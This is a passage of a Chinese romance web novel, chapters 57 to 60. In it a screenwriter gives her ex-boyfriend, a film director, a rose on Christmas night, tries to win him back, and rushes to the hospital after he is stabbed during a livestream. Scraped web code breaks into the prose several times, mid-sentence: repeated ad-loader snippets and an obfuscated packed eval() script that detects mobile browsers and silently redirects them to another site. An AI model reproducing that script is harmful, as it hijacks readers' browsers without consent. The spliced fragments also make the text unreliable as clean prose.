她怀疑是因为雪太大,压断了江流这些单薄的道旁树树枝。 她回过头继续往前走。冷风从脖子里灌进来,冻得打了个哆嗦。 耳朵很灵敏,真的听到了背后沙沙的踩雪声。 她心突然提起来。 这深更半夜的。 不会被人跟踪了吧? 难道是路嘉灵那个私生? 她低着头若无其事继续往前走,目光逡巡,寻找趁手的工具。同时,手塞进了口袋里,摸索着手机,不知道有没有按到紧急报警…… 心跳速度逐渐变快,悄悄用余光观察身后,却只见空茫的一片雪色。 难道是自己吓自己吗? 继续往前走,走着走着,身后沙沙的脚步声越来越清楚。 似乎,身后的人与她只隔了十多米距离了。 路灯亮着,光线昏黄,雪花纷纷扬扬,落在光柱里,如同飞蛾扑火一般。空气是冬季特有的干燥寒冷,雪带来的湿润微微沁入鼻腔,让人的头脑这一刻十分警醒。 宜夏鼓起勇气站定,突然回头。 一道身影静静站在路灯下,双手插在长羽绒外套的口袋里,抬眼望着她。 黑色的羽绒服很长,一直过膝盖。路灯在他身后安安静静亮着,从背后打来的光线令他一头凌乱的碎发发着明亮晶莹的光。 细雪落满肩膀头发,沉甸甸地压在眼睫上,他的眼睛里光影交错流转,情绪却浅淡。 雪下大了,风也扯得很紧。 夜很深,没有人路过,似乎漫天的风雪下只有他们两个。 全世界只剩他们两个。 宜夏不明白怎么会出现眼下这种情形。 所以也不知所措,呆呆站住。 捡来的玫瑰花花刺轻轻地扎着手心,带出一点殷红的血珠,从指尖低落。 彼此都安静着没人打破沉默。 宜夏的心因为这沉默而逐渐不安起来。 他……他为什么跟在她后面?是偶遇吧,是偶然吧?他……为什么不开口?应该打招呼吗?她应该主动开口吗? 脑子里念头一团浆糊,嘴唇微微发着抖。他一直没说话,她害怕自作多情,咬住嘴唇,迟疑片刻,张了张口:“……你,路过吗?” 谈雪昼沉默,静静看着她。 见他没有开口的意思,宜夏也不愿意自讨没趣继续搭话,只好回过头。 踏出一步,她咬了下唇,回头,鼓起勇气,匆忙说:“那个,刚刚看了你的电影,挺好看的。票房会大卖的。” 他双手抄在外套口袋里,闻言,微微偏了下头。 宜夏很害怕他说什么讽刺,譬如跟你有什么关系。 下定决心就算他说不好听的,她也不要难受。 他终于开口:“是吗。那先,借你吉言。” 说完他又没说话了。 宜夏觉得眼下这情形实在是太尴尬了。他们似乎也不是那种,熟悉亲密关系好到大晚上的碰见了可以寒暄的关系。喉咙有点梗,她最终选择冲他礼貌点头:“那我……先走了?” 他说:“等一下。” 宜夏呆呆站住。 他不紧不慢地走过来,只隔一两步的距离。 眉压着眼,眼珠乌黑,睫毛特别的浓密纤长,简直令人联想起五六岁的混血小朋友毛茸茸的眼睛。 她看见自己出现在他的眼瞳里,倒映着,小小一个,不知所措地抬着脸。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 呼吸几乎都压抑得听不见了,她手指无措地蜷缩起来。 他终于出声:“你眼睛怎么这么红。” 宜夏呆了下,顺势眨眼,一下没想到借口,却听他继续说:“我记得结局是大团圆,这也能看哭?” 声音冷淡,带点轻嘲: 宜夏捏紧了玫瑰花的枝干,脑子里堵了一百种回答,可是话要出口,又被咽了回去,只好顺着他的话承认:“就是,太感人了……” 他抿了下唇,直视着她的眼睛,声音压低,轻飘飘的:“那你,感情还挺泛滥的。” 宜夏咬住嘴唇,不知道该跟他说什么。 其实站在这风雪里,挺冷的,两个人的气氛也是有些尴尬。她不明白为什么这么尴尬,她还要继续站在这,他也不走。 但宜夏就是不想说“没事我就先走了”,也许是……舍不得。 也许是,不想被他看扁,觉得她是落荒而逃。 宜夏低头,片刻又抬头,鼓起勇气,低声问:“那个,你刚刚,是在跟着我吗?” 谈雪昼略一挑眉:“你觉得像吗?” 宜夏犹豫了下,诚实地点头。 谈雪昼冷淡说:“路过,顺路,同一条路而已。” “哦。” 又没话可说了。 可是他站在原地,宜夏也僵站着,类似于僵持对峙的一种姿势,谁都没提要离开。 宜夏纠结片刻,艰难开口:“虽然你可能,不太想见到我,但是……毕竟圣诞节。祝你,圣诞快乐。” 闻言,谈雪昼扯了下唇角,懒散说:“我不太快乐。” “为什么?” 不正是春风得意的时候吗?《城池》口碑票房双爆炸,自己的公司又是电影最大的资方,分红就足够拿到手软,网上已经送了他一个外号,互联网印钞机。 有什么不快乐的。 谈雪昼:“没有人规定,圣诞节就必须要快乐。” 宜夏轻轻地“嗯”了一声,想了下,顺着他的话说:“不快乐的话,有时候也可以休息一下,放松一下,充充电什么的。” “你呢?” 宜夏一怔。 “你快乐吗?” 宜夏沉默片刻,轻声说:“我就……还行吧。” 谈雪昼没吭声。 宜夏绞尽脑汁,实在找不出话说了。 她只好说了告别:“那个,那没什么事的话,我先走了。” 说完回过头,转身往前走。 走出去好几步,没听见他跟上来的沙沙声响。 她加快脚步,耳朵竖了起来,背后他好像站在原地,只是沉沉的目光一直凝在她背上,令她四肢发麻。 她脚步突然顿住。 转过身定定站在原地的他,手指蜷缩起来。漫天的风雪落下,冷风裹挟着雪花灌进脖子里,冰冰凉凉,她的心口也跟着被冻了个哆嗦。 不知道是不是风雪也把勇气灌进了心口,她攥紧捡来的玫瑰花枝,朝他飞快走过去。 他愣住了,双手插在口袋里直直站着。 宜夏在他面前一步的距离顿住,手臂微微打着哆嗦,但还是把玫瑰花举了起来,声音发颤:“虽然这是捡来的,但很完整,很漂亮。如果送给你的话,你会不会快乐点……” 谈雪昼怔了一瞬,扬起下巴:“什么意思?” “对不起……”宜夏只感觉理智已经彻底离她而去,她也想不清自己这一刻到底是在做什么,只是低头盯着脚尖,其他什么都忘了,“对不起,就是,算是圣诞礼物吧。那个,如果你不想要的话,丢了也可以。” 宜夏手臂发抖,忐忑地把花枝递过去。 谈雪昼却没接。 宜夏知道自己所作所为,很唐突,很不像话。 给前男友送花,送捡来的红玫瑰哄他开心。说出来,会被挂在小红书上嘲讽几百条。她收回了花枝,随便找了个借口:“对不起,你刚刚就当我脑子抽了吧。我走了。” 下一刻,他却抽出她手心的那枝花。 片刻后,低声说:“谢谢。” “快乐一点了。” 58. 想把你比作春日 宜夏回到公寓的时候整个人还是恍惚的。 围巾上沾了雪花,进到室内,融化成湿润的一片,贴在脸颊上把人冰了个哆嗦。宜夏把围巾贴在脸上,站在玄关空白了片刻才蹲下换鞋。 是喜欢他。 没办法。 一见到他,就会溃不成军,根本就不像自己了。所以表现得那么差。 她一路上都在后悔。 不该送那朵捡来的玫瑰花的。再怎么,也应该送他一朵真正的新鲜的玫瑰。 可是他怎么那么好,哪怕她做得那么差,他也依然给她面子,没让她下不来台。 想着想着,她被更强烈的悔意淹没。 路嘉灵半夜起来喝水,看着蹲在玄关一个人埋着头发呆的宜夏,迟疑片刻:“阿宜?” 中邪了? 宜夏换好拖鞋,慢吞吞解开围巾脱掉外套,看着她:“你还没睡?” “我早就睡了,都……都三点了。”路嘉灵试探,“你和、柳总,不是,怎么这么晚?” 宜夏摇头:“我去看电影了。” “什么电影?” “《城池》。” 路嘉灵走进厨房摁开恒温水壶倒了杯水递给她:“……零点场吗?好看吗,我看口碑很好,……这是谈导的片子吧,许姐让我发条微博帮忙宣传,也蹭一下热度,我还没想好怎么发……” 宜夏喝了一大口水,脸颊上的烧红终于褪去,低声说:“挺好看的,你有时间可以看看。” “你……” 宜夏突然问:“灵灵,我是不是一个很讨厌,很没有分寸的人?” 路嘉灵怔住:“啊?没有啊,怎么会这么问?” 宜夏已经陷入了强烈的沮丧之中:“我今天做了一件很奇怪的事。” 她简单省略了一下前因后果,把自己一时冲动送给前男友一朵捡来的玫瑰花这件事告诉了路嘉灵。 路嘉灵捋了下:“虽然是有点奇怪……那他不是接受了吗?就算捡来的,也是真花也是一个心意嘛,又没什么关系。” “可是……” “再说你不是,只是想他开心一点吗?你出发点又没什么问题,他也接受了。你捡起来那朵花,本来是打算自己带回来养,又不是要丢掉,那就是真正的心意啊。”路嘉灵说完,端详宜夏的脸孔,“这么小的事情,你怎么这么纠结?”她顿了下,迟疑问,“阿宜,你该不会,还喜欢你前男友吧?” 宜夏表情空白片刻:“嗯。” “那你打算怎么办?” “不怎么办。” “什么叫,不怎么办?喜欢的话,你可以尝试去找他复合啊。你送那朵花,他不是也接受了吗,证明他对你应该也还有意思。” 宜夏心情乱七八糟的,一团乱,理不清:“情况不是你想的那样。” “挺明显的。什么叫看完电影顺路?很明显就是他在跟着你。明显对你余情未了。” “真的吗?” 宜夏不大自信。 主要是她做了那么多不好的事情,他很可能其实根本不想见到她。换位思考,如果是她被人那样对待,她绝对会跟对方老死不相往来,怎么可能还对人余情未了? “你还喜欢他,他也很明显还喜欢你,如果我是你,我就直接尝试A上去求复合了。” 宜夏慢吞吞摇头。 他们之间不是简单的两个人,还涉及到更多的东西,家庭,事业,上一辈,根本没那么容易。 次日下午,宜夏约了薛霓吃一家新开的烤鱼。 到餐厅点完菜之后,薛霓托着下巴:“说吧,最近遇上什么事了?电影进度有问题?还是感情问题?” 宜夏纠结片刻,把昨天的事又讲了一遍。 薛霓摩挲着下巴:“所以你看完电影出来,他跟着你走了很久?不是,为什么会在电影院碰见?他最近不是在路演吗,应该挺忙的啊?” “可能他也是找家电影院,看自己的电影公映。毕竟昨天是公映第一天。”宜夏昨晚已经琢磨过这件事了。 “但也不对,那他为什么要跑滨江那么远?”薛霓很有逻辑,“他住那附近吗?那附近不都是CBD,好像没什么高档小区。” “他住嘉华汇。” “嘉华汇在城东,滨江城西,开两个小时车才能到吧,跑那么远……”薛霓突然有个想法,“你不是说柳总和他关系其实不错吗?会不会是他知道柳总要跟你表白,没忍住跟过去看什么情况,然后才跟着你一路到电影院里的?!” 宜夏不可思议:“不可能。你是偶像剧看多了吧。” “不然你说,从嘉华汇跑去滨江,只为了看自己早就看过几百遍的电影的公映,你说他是为什么?” 宜夏沉默了。 “……哎,小夏,我真的觉得,其实他还喜欢你。” 宜夏喃喃说:“我觉得他其实真的只是,路过而已。” 薛霓端详她许久,突然说:“不管他现在喜不喜欢你,反正我是看出来了,你现在还是很喜欢他。” 宜夏:“……” “如果还喜欢的话,你就去尝试把他追回来啊。”薛霓说,“为什么这么纠结内耗犹豫,小夏,你变得不像你了。” 连续两个人给宜夏建议让她主动把人追回来。 可她心里有很多事压着,缓慢摇了摇头。 薛霓伸手指戳她额头:“宜夏,其实我觉得,自从分手之后,你就好像有点变了。你就是在回避你自己的感情,你害怕受到伤害,所以宁愿不再靠近他。” 宜夏脑子空白,也找不出反驳的言辞,闷闷问:“是吗。” “你太害怕受伤了,所以,会下意识回避那种会让你受伤的可能性。之前分手的事就是这样,就是因为你接近他的真相被他知道了,你立刻主动提分手。其实你是在害怕他提分手,所以你先提。你想要用主动性来缓解自己无法控制的伤害和痛苦。”顿了下,薛霓说,“说白了,其实你就是害怕受伤,所以宁愿自己主动选择先把刀子刺进来,免得不上不下的,未来受更重的伤。” 宜夏没从这个角度反思过自己。 但确实很有道理。 她是很害怕受伤害的人。 也许是因为孤独太久了,一点点温暖她都会很珍惜。 可是生命中的温暖不多,都以很惨烈的方式离开了她,她很害怕自己触碰到温暖的时候,被那种火光烫伤,所以宁愿选择远离它。 就好像太宰治说的,胆小鬼遇见幸福都会害怕,碰到棉花都会受伤。 薛霓看宜夏表情恍惚,安静片刻,还是很残忍地直接指出来:“现在也是这样。明明之前不想分手,但你就是提了分手。明明现在还喜欢他,却不敢承认,也不敢鼓起勇气,再尝试追他回来。” “我是觉得……” “觉得配不上他。觉得差距很大。觉得你们之间存在各种问题。包括家庭,包括你做过的一些事情,都是一根根刺,刺在你们两个当中,没办法去忽视。”薛霓说,“但那又怎么样呢?遇见真正喜欢的人,如果就因为害怕未来受伤,就主动选择回避,选择躲开,选择做一个胆小鬼,那以后不会遗憾吗?不会后悔吗?” 宜夏咬了下唇瓣。 “遇见真正喜欢的人,是会义无反顾,奋不顾身的。” 宜夏有些失神。 义无反顾,奋不顾身。 她是一个胆小鬼。 哪怕接收到他的原谅讯号,她还是不敢靠近他。因为她总觉得自己不配,不值得他对她那么好。 但是。 哪怕是再卑微、再低下的人,看到幸福的时候还是会向往。 薛霓没有说更多的话。 烤鱼上来了,两个人换了话题,吃起饭来。 分开之后,宜夏独自回公寓。她没打车,顶着细雪慢慢地往回走,边走边想刚刚薛霓说的。 义无反顾,奋不顾身。 写剧本的时候,很容易写出那些为了目标和信念付出一切的角色。但是生活中哪有那么多轰轰烈烈、波澜壮阔的史诗故事,有的不过是一个普通人暗流汹涌的内心世界。 她插着口袋,走过一条街口。 路边有顶着风雪卖花的年轻女孩儿,面前的篮子里装了一篮子玫瑰花。宜夏在小摊位前驻足,低头凝视许久,从里面挑了一枝最新鲜最饱满的红玫瑰出来。 付款那一刻,她的心骤然一松。 她还是很喜欢他。 做不到就这么眼睁睁地渐行渐远,擦肩而过。她不想等以后想起来,后悔自己没有勇气,是个胆小鬼。 她盯着玫瑰,认真想,她至少要鼓起一点勇气,付出一点努力,要克服那些不具名的懦弱和自卑,尝试着认真地追求他。 如果他愿意原谅她,接受她,当然,她会感觉到很幸福。 如果他不能接受,她也不会再有遗憾。 - 但宜夏没有认真地追过人。 她的三段感情都是失败收尾,于璟那一段,惨烈得她无法回忆。舒润也是,鲜明的失败先例。而跟谈雪昼,之前她能 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 算是追他,但那都是不走心的,都是强行厚着脸皮刷存在感和好感。 他说,他不是游戏的NPC,不是工具,他是一个人。 宜夏后知后觉的悔意上涌,她之前好像真的,其实很不尊重人。 于是她先向路嘉灵虚心请教了一番。 路嘉灵虽然感情经历不丰富,但言情小说看过挺多,作为演员也吃了不少业内的抓马大瓜,碰见感情问题能说上一嘴。 “要跟前男友复合?”路嘉灵说,“先试试微信有没有被拉黑,没被拉黑就说明希望很大。” 宜夏一懵。 之前……是她主动把他的微信删掉了。 如果是拉黑,她重新加他是不会有什么提示的。 但她是把人删掉了,所以得重新再加一遍。 但要是发好友申请过去,岂不就,明明白白展示她把他删掉了? 要是他没给她发过信息,没发现这一点,那她不就直接不打自招,罪加一等? 宜夏窝在床上辗转反侧,最终想了个借口,眼睛一闭。 把好友申请发了出去。 这时候是凌晨四点。 没想到,不过片刻,新的对话框跳了出来。 “我通过了你的朋友验证请求,现在我们可以开始聊天了” 宜夏惊了,这都多晚了,怎么还不睡。刚刚想的借口也不适合这个点儿讨论,加回微信,她不知道说什么了。 那边也没主动打招呼,似乎只是顺手同意了一个好友申请。 宜夏盯着聊天窗,盯到眼睛都干了,试探着发了条消息过去。 【谈老师,你好。】 【?】 宜夏故作正常: 【那个,我刚知道,你通过柳总给了很多投资。】 【谢谢你,然后,作为投资人,你要不要看一看电影的粗剪?】 那边发了条很简短的语音过来,懒散的,有点儿意兴阑珊: 【凌晨四点加我,就说这个?】 语音那头还有其他人说话的声音,很嘈杂。 可能是他们在路演转场,连轴转没有休息。 宜夏找不出其他话题了,只好说: 【如果你没有兴趣的话就算了,不好意思,打扰你了。】 那边回得挺快的,还是懒懒的语音,声音还有点干哑。 “什么时候,在哪。” 宜夏听了两遍,怀疑他是不是在跟其他人说话,她没听懂他什么意思。试探着问: 【什么时候看粗剪吗?】 【嗯】 宜夏紧急打字: 【你什么时候有空,都可以。】 【嗯】 宜夏有点儿不舍,还想找话题多说点什么,但又不想让他看出来自己的企图心,只好最后发了个表情包收尾。 握着手机,翻来覆去一阵,感觉自己应该没有干令人讨厌的事,才好不容易入睡了。 第二天,她一早就去请教薛霓,怎么做才能挽回前男友。 薛霓对此经验也不丰富,陷入了为难:“你问我,还不如问chatgpt……它估计都比我会。” 宜夏默然:“我问过了。” 薛霓乐了:“它怎么跟你说?” 宜夏回忆:“它说,首先要保持自信和独立,然后建立沟通,共同回忆,展示自己的改变什么的……” 薛霓沉思:“挺合理的听起来。AI也挺懂这些的啊。” 宜夏有些气闷:“说了不是跟没说一样吗?我也知道要建立沟通,可是……我怕我跟他说话,他觉得我很烦。展示共同的回忆就更不合适了,他稍微一联想,就能想起我之前,全是在骗他。” 薛霓:“……” 冥思苦想许久,她最后说:“那你就,保持自信和独立,向他展示你的改变。” 意思就是,去忙工作,不要一直想复合的事情,自寻苦恼。 宜夏想想也是,可能,隔几天稍微联系一两次,才是比较合理的频率。 宜夏手上工作也确实不少,电影的后期返工次数很多,每次都需要她在现场。 - 隔几天,元旦前一天,跨年当天。 宜夏人在工作室里跟同事们讨论一个镜头的字幕问题,施可雨从外面进来,打断了讨论:“夏姐,外面有人找你。” 宜夏站起来,捏了下鼻梁:“谁?” 施可雨犹豫了下:“是谈导。”她补充,“谈雪昼导演。你们认识吗?” 宜夏一怔。 59. 想把你比作春日 宜夏那天只是强行扯的一个看粗剪的借口,没想到他真的会来。 她粗略收拾了下东西,从小会议室出去,看见谈雪昼双手插兜,闲闲地站着,很有兴致地打量工作室里的绿植。 阔大的散尾葵叶片在他脸侧投下形状优雅的影。 宜夏犹豫了下,不知道该怎么打招呼,只能温声说:“嗨。” 谈雪昼转过脸来看着她,也不吭声。 宜夏其实还没想好怎么跟他正常相处,感觉俩人之间不尴不尬的,不太公事公办,但要说私事吧,那更没什么好说。 最终硬着头皮说:“谈老师,我们正好都在看粗剪。你来得刚好。” 谈雪昼倒是挺公事公办地点了下头。 眼神却还落在她脸上。 她走在前面引谈雪昼一块进了小会议室。 跟会议室里表情讶异的几位同事介绍,谈导是电影的投资人。 副导演和剪辑师肃然起敬,原来是金主爸爸视察产品,立刻争着给金主爸爸留下好印象。 宜夏从头开始放粗剪的版本。 小会议室窗帘拉得很紧,光线异常昏暗,只有投影在幕布上发光。谈雪昼坐在离宜夏挺远的位置,专心地看投影上一幕幕电影画面流动,全程认真,没有表达意见。 金主爸爸的沉默让在座众人都有些忐忑。 投影淡出,宜夏在全黑下来的第一秒就开了灯。会议室灯光大亮,宜夏边走过去拉窗帘,边问大家是否有新的想法和意见。 副导演有新想法,大家讨论了一阵,敲定了个新的点子出来。 谈雪昼虽然没说话,但一直在认真听。 听他们讨论了一阵,谈雪昼在心里对宜夏的能力判断调高了一个等级。 本来他是对宜夏能拍出个挺好的电影有信心,但没想到她成长得这么快。 尤其出人意料的是,她的粗剪版本比绝大多数新手导演做出来的东西好很多,没有新手的拘谨,也没有文艺片导演常见的古怪孤僻和敝帚自珍,她的东西简单清晰明快,但内核又很稳。表面的明亮清淡,和内核的挣扎、希望、痛苦、绝望对冲,更加凸显材质和内容的细腻丰富。 特别是,用专业导演的眼光来看,电影的调度尤其出色,明白显示了她在这方面独有的天赋。 谈雪昼回想一下,他拍第一部长片,似乎没这么游刃有余。 宜夏一边跟同事们讨论,一边悄悄注意谈雪昼的表情。 她有点担心他觉得无聊,不论是电影,还是他们的讨论。 不过他全程没走神,也没表现不耐烦。 结束了讨论,也到了下班吃晚饭的时候了。 宜夏平时是随便凑合,吃完了又回工作室继续工作,但今天谈雪昼在,情况特殊。 她想了想,主动提议:“今天跨年,待会儿出去吃吧,我请客,附近最近开了一家烤鱼,我上次去吃了挺好的。” 立刻有人响应。 宜夏第一次认真的,光明正大地看向谈雪昼,不知不觉间竟然屏住呼吸,轻声问:“谈老师,你一起去吗?” 突然发现他眉眼间有一层淡淡的青色,表情其实有些疲倦。 谈雪昼没看她,低着头在随手翻他们放在桌面上的一些材料:“我还有事,下次吧。” 宜夏掩饰住失落,平静说:“那我送你。” “不用。” 宜夏站住,没有再送。 她不知道是不是被他讨厌了。 要说讨厌,他又来看她的粗剪。 可是,又不愿意一起吃饭,连她送他都不愿意。 很难猜。 - 聚餐结束后,宜夏没回工作室,直接回了公寓。 却正好撞上打扮好了要出门的路嘉灵,路嘉灵见她情绪一般,立刻拉她出门。宜夏没拗过她,换了件红色的羽绒服外套应景。 两个人打车去滨江那一块,今天跨年,那儿到点会放烟花。 不过刚到她们就后悔了。 人潮汹涌,根本挤不动。 被裹在人流中随波逐流,没有办法控制自己的方向,宜夏心里很没有安全感。 她突然想起那回看演唱会,差点发生踩踏事故,谈雪昼硬是逆着人流挤到她面前护住她。 漆黑的眼,浓郁的眉,逆流朝她走来,那一瞬间,她好像看见全世界的星星都坠落,环在他身边。 他一直都很好,一直对她很好。 是她一直没有在意,一直在忽视真心。 烟花九点钟要放一波,接下来每个整点都放。 宜夏跟路嘉灵看了两场,提议说先回去吧,这地方实在是太挤了,挤得很难受。路嘉灵却说待会儿零点场有特别震撼的大烟花,据说四十万一发的四尺玉,很想见识一下。 看了下时间,其实也没差两个小时了,宜夏只好继续跟路嘉灵等着。 路嘉灵一边埋头刷微博,一边问:“你最近跟你前男友怎么样了?” 宜夏有点难以启齿:“……就,那样啊。” “就那样是哪样?不是说要追人吗?追人应该主动一点。你不是都加回人家微信了吗,证明很有前途啊,多找他聊一聊呗。” 宜夏说:“不知道聊什么。” 路嘉灵抬头,瞅她一眼,有些恨铁不成钢。 她点了点手机,调出美颜相机APP,揽着她凑到镜头前:“来,笑一下。” 宜夏配合地挤出笑脸。 路嘉灵拍了很多张,来兴致了,干脆指挥宜夏摆姿势,专门给她拍照。 拍完唰唰修了几下,宜夏的手机不停震动起来,全是她发来的照片。 路嘉灵说:“挑几张好看的发朋友圈啊。他应该没屏蔽你吧?” “应该……”应该没有吧。 宜夏仔细选了几张漂亮的照片,精心编辑之后,又把一大段文案删掉,最后只剩一句孤零零的“新年快乐”,发了出去。 她很少发自拍和照片,突然一发,炸出来很多潜水不点赞的好友,评论也很多。 大学同学和娱乐圈的同事们全都妙语连珠。 几个摄影老师说她好看,去拍写真可以免费只要愿意留下照片帮忙宣传那种好看程度,美貌可以赚钱的程度。 宜夏一条一条回复过去。 半小时过去了,她想看见的那个玳瑁猫头像,却始终没出现在评论区和点赞列表。 宜夏有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967905|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点闷,关掉微信,漫无目的地刷了刷微博。 《城池》剧组的路演特别密集,上热搜也很多,谈雪昼这会儿名字也挂在热搜上,是他很久之前的一段视频被网友们挖了出来,在下面纷纷艾特他,说内娱Bking的黑历史。 宜夏点进去看,竟然是谈雪昼高中时候的视频。 而且还是他高三的时候,替学校拍的一个校庆宣传片,最后他穿着校服出镜了。穿的是国际部的校服,不是本部的土不拉几蓝白运动服,而是衬衫马甲西装西裤,学院风的打扮。 他眉眼间是少年的青涩,眉黑眼亮,这时已经能看出来散漫不羁,一边扬着眉讲学校写的尴尬解说词,一边引领镜头往前走。 宜夏看了好几遍。 原来。 他高中,是这个样子。 和她想象中没什么区别,骄傲、肆意、灿烂、明亮。 《城池》剧组现在也在路演,在江流本地的影院。 宜夏从热搜词条点进直播,就看见了谈雪昼坐在舞台正中央,长腿支着,认真听旁边的主持人发言,整个人就是大写的松弛感。 原来他不去聚餐,是要去路演。 ……不,或者说,原来他是在路演的间隙,抽了个空来看她的粗剪的。 这么一想,宜夏心情又好了起来。 直播间里粉丝很多,弹幕令人眼花缭乱。 宜夏专注地看了好一会儿,听见主持人提问:“谈导,弹幕很多粉丝问你,跨年夜为什么不去看烟花,而是在路演。” 谈雪昼接过话筒,挑了下眉,懒散回答:“当然是没有能够一起看烟花的人。” 主持人立刻追问:“意思就是如果有那个人,谈导就要抛弃我们粉丝朋友了吗?这么无情啊?” 谈雪昼勾了下唇角:“当然。不然呢?” 主持人:“太冷漠了啊谈导,粉丝们都哭了。别哭别哭,让我来怜惜你们。我看粉丝都很关心谈导个人问题啊,还有人问,那谈导到底什么时候能找到那个人呢,今年能不能找到让谈导愿意主动发‘新年快乐’的人。” 新年快乐是个梗。 谈雪昼之前被路昭野发微博抱怨,好几年的好友了,谈雪昼竟然从来没主动发过任何一句节日问候。 他主动给谈雪昼发新年快乐,甚至换来一句无情的“盗号了?”的疑问。 直播间弹幕纷纷艾特不在场的路昭野,表示耶总落泪,耶总错付。 宜夏看得挺有意思的,手臂突然被人扯了一下。 路嘉灵说:“快看快看,零点场的烟花要开始了!” 观景道的人群大声喧哗躁动起来。 人们欢欣鼓舞,翘首看着不远处的江岸。 烟花就在此刻突然破空而出,先是打头的一朵,凌厉如竹哨的破空声响起,烟花升腾到半空中,一朵幻化成千万朵,五彩缤纷、光怪陆离、火树银花,如同银河瀑布,旋转升腾幻化,引得游客观众们惊叫声连连。 如此梦幻美景,宜夏没能免俗,跟所有人一样掏出手机录视频记录。 就在23:59跳成0:00的那一刻,一条新消息跳进手机里。 谈雪昼: 【新年快乐】 60. 想把你比作春日 宜夏不确定他是不是群发。 虽然有个不发节日祝福的梗,但也许,他改性了呢? 犹豫了下,她抱着手机慢慢打字: 【谢谢,你也新年快乐】 发出去之后,她就不知道说什么了。 她退出聊天,翻了下朋友圈,却见刚发的那条朋友圈,点赞列表这时候终于多了个头像。 一只阴阳脸的玳瑁猫。 所以,他刚刚是因为在台上没看手机,才没第一时间点赞吗?一下台就看到了她的朋友圈? 她不由自主因为这种联想而心情愉快,但又觉得自己是想太多。也许只是礼貌而已,谈雪昼一向挺体面的。 虽然他们共同好友挺多的,但她其实没怎么见到他给其他人点赞。 那他到底是礼貌性的,还是…… 宜夏又有点烦自己在这里患得患失地揣测。 她心烦意乱退出朋友圈,盯着她刚发的那句干巴巴的新年祝福发呆。 路嘉灵拍了一大堆烟花视频,这会儿凑过来,看见她微信上令人头秃的聊天记录,顿时更加恨铁不成钢了:“你就和,想暧昧的前男友,这么聊天?!” 宜夏虚心请教:“那应该怎么聊?” “他主动给你说新年快乐,你就应该多回两句啊,比如说今天你看了烟花,你可以分享给他看。” 宜夏“噢”了一声,挑了两张拍得不错的烟花照片发了过去。 【滨江的烟花挺好看的,我第一次看见四尺玉,特别震撼。】 谈雪昼过了一会儿才会: 【哦】 宜夏:“……” 她一筹莫展,把手机屏幕展示给路嘉灵看:“这个怎么回啊。” 路嘉灵一看,也傻了眼。 她承认了:“阿宜你这个前男友不是很好撩。” 等等,她突然注意到了,聊天框上显示的名字怎么是“谈雪昼”。 路嘉灵吃惊地问:等等,对面是谈导?!” 宜夏迟疑片刻:“我没说过吗?” “没有!你什么时候说过!怎么会是谈导,谈导怎么会……我以为谈导是个Gay。” 宜夏:“……怎么会这么认为。” “因为业内都说他不喜欢女人啊,有女明星主动自荐枕席,他连夜换酒店。” “那也许是说明他,洁身自好?” “……也有可能。”路嘉灵回忆了下,“之前我就在剧组待了三天,每天都能看见女一号试图让谈导跟她讲戏,下戏了还单独去找谈导,还要约饭、聚餐。然后谈导太忙了,让编剧给她讲。她说编剧讲的她不理解,谈导就打发她说,那换个能理解的来演。对女主角这么冷酷,一点都不怜香惜玉,我还以为他们说他是Gay是真的。” 宜夏:“……其实他对男演员,应该更冷酷。” 路嘉灵一想,好像是这么回事。 有点唏嘘了。 滨江的烟花散场,看烟花的人群三三两两离开。宜夏跟路嘉灵打上了回家的车,坐在后座,一起研究怎么回复谈雪昼那一个“哦”,路嘉灵说:“我搜下微博,看看有没有什么万能回复。” 刚点进去,路嘉灵突然惊呼一声:“阿宜!” “怎么了?” “热搜……快看热搜,那个,谈导好像出事了。” 宜夏心一紧,立刻就着她的手机看热搜。 原来就是在刚刚跨年结束的几分钟,他的路演准备结束,直播还没切掉,疯狂黑粉突然冲上台袭击,一刀捅伤了他的手臂,顿时血流不止。 片刻前的事,因为在直播,画面很有冲击性,已经冲上了实时热搜。 看着视频里的血,宜夏大脑一片空白。 刚刚,他不是在给她发“新年快乐”吗? 怎么就这么突然? 宜夏顾不得那么多了,叫司机换终点,去路演的影院旁边最近的医院。 路嘉灵握住她的手,摸到一手冷汗。她连声安慰:“没事的,别太紧张了,视频上好像不是很严重,只是捅到手了,应该没大事的。” 宜夏大脑失去了思考能力,紧紧攥住路嘉灵的手,额头冷汗涔涔,一句话也说不出来。 跨年夜堵车很厉害。 一段路程,堵了快一个多小时。网约车终于在医院门口停下,宜夏和路嘉灵匆匆赶到急诊,问了急诊的护士刚刚有没有手臂受伤的患者。 护士看她一眼:“是粉丝吗?来看谈导的?不好意思,有交代不能告诉你们他在哪里。” 刚刚的变故传播速度很快,在宜夏之前,估计已经有几波距离更近的粉丝已经赶到了医院。 宜夏问:“那他现在怎么样?” “不好意思,情况不能透露。” 宜夏咬了下唇,有些沮丧。 她现在甚至没有立场,没有资格,知道他的消息。 《城池》的制片人也是周冉。宜夏一边往急诊室外走,一边找出周冉的微信,低着头斟酌着敲字。 边走边打字,没朝前看,撞到了一个人。 宜夏仓促抬头,对方表情惊愕:“宜老师,你怎么来了?” ——正是宜夏打算发微信的对象,周冉。 两分钟后。 路嘉灵留在了楼下,宜夏跟着周冉到了医院的顶楼病房。 周冉压低声音:“谈总这几天连轴转,刚刚到医院缝完针突然昏迷了。不过应该没什么大问题,医生说是有点精神衰弱……” 说着推开了病房的门。 宜夏只听见“精神衰弱”。 可是谈雪昼从出现在她面前起,一直是游刃有余、尽在掌控的模样。 只除了,那天,语带轻嘲的半句,“我不快乐”。 你是为什么不快乐? 宜夏走到病床前。 受伤的那只手已经包扎好了,白色绷带,平放在病床一侧。没受伤那只手打着点滴。 